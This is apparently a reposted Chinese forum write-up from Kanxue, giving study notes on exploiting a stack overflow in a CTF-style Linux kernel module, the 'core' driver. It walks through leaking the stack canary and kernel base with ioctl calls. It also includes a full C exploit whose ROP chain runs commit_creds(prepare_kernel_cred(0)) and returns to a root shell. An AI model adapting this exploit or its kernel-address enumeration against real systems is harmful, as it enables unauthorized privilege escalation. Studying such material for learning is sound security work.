其他
Linux Kernel Pwn 学习笔记(栈溢出)
本文为看雪论坛精华文章
看雪论坛作者ID:Vinadiak
0x01 背景
0x02 内核基本知识
KASLR:地址随机化,类似 ASLR。
SMEP:内核保护机制,内核态不可执行用户的代码。
commit_creds(prepare_kernel_cred(0)) :获得 root权限功能函数。
file_opertion:Linux使用file_operations结构访问驱动程序的函数,这个结构的每一个成员的名字都对应着一个调用ioctl系统调用来控制设备。
获取基址
cat /proc/modules
cat /proc/devices
cat /proc/kallsyms
lsmod
dmesg
0x03 分析代码
保护机制
程序逻辑
ioctl
core_read
core _write
copy_copy_func
如何编写EXP
init_module 里面有个core_proc = proc_create("core", 438LL, 0LL, &core_fops);
void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
}
void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}
void core_write(char *buf,int a3){
write(fd,buf,a3);
}
void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}
rop编写
rop思路流程:
1.用canary绕过canary保护
2.调用commit_creds(prepare_kernel_cred(0))提权
3.回到用户态进行调用system("/bin/sh")来getshell
4.最后修复环境。
for(i = 0;i < 8;i++){
rop[i] = 0x66666666; //offset
}
rop[i++] = canary; //canary
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;
rop[i++] = 0; //rdi
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
rop[i++] = commit_creds_addr;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
EXP代码如下
1.就是set_off设置off的值
2.然后调用read泄漏地址
3.在调用write写rop
4.最后调用copy_copy_func实现栈溢出劫持控制流get_shell()
//rop.c
//gcc rop.c -o poc -w -static
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int fd;
void core_read(char *buf){
ioctl(fd,0x6677889B,buf);
//printf("[*]The buf is:%x\n",buf);
}
void change_off(long long v1){
ioctl(fd,0x6677889c,v1);
}
void core_write(char *buf,int a3){
write(fd,buf,a3);
}
void core_copy_func(long long size){
ioctl(fd,0x6677889a,size);
}
void shell(){
system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int main(){
int ret,i;
char buf[0x100];
size_t vmlinux_base,core_base,canary;
size_t commit_creds_addr,prepare_kernel_cred_addr;
size_t commit_creds_offset = 0x9c8e0;
size_t prepare_kernel_cred_offset = 0x9cce0;
size_t rop[0x100];
save_stats();
fd = open("/proc/core",O_RDWR);
change_off(0x40);
core_read(buf);
/*
for(i=0;i<0x40;i++){
printf("[*] The buf[%x] is:%p\n",i,*(size_t *)(&buf[i]));
}
*/
vmlinux_base = *(size_t *)(&buf[0x20]) - 0x1dd6d1; '''0x1dd6d1'''
core_base = *(size_t *)(&buf[0x10]) - 0x19b;
prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset;
commit_creds_addr = vmlinux_base + commit_creds_offset;
canary = *(size_t *)(&buf[0]);
printf("[*]canary:%p\n",canary);
printf("[*]vmlinux_base:%p\n",vmlinux_base);
printf("[*]core_base:%p\n",core_base);
printf("[*]prepare_kernel_cred_addr:%p\n",prepare_kernel_cred_addr);
printf("[*]commit_creds_addr:%p\n",commit_creds_addr);
//junk
for(i = 0;i < 8;i++){
rop[i] = 0x66666666; //offset
}
rop[i++] = canary; //canary
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0xb2f; //pop_rdi_ret;
rop[i++] = 0; //rdi
rop[i++] = prepare_kernel_cred_addr;
rop[i++] = vmlinux_base + 0xa0f49; //pop_rdx_ret
rop[i++] = vmlinux_base + 0x21e53; //pop_rcx_ret
rop[i++] = vmlinux_base + 0x1aa6a; //mov_rdi_rax_call_rdx
rop[i++] = commit_creds_addr;
rop[i++] = core_base + 0xd6; //swapgs_ret
rop[i++] = 0; //rbp(junk)
rop[i++] = vmlinux_base + 0x50ac2; //iretp_ret
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
core_write(rop,0x100);
core_copy_func(0xf000000000000100);
return 0;
}
0x04 总结
看雪ID:Vinadiak
https://bbs.pediy.com/user-855782.htm
*本文由看雪论坛 Vinadiak 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看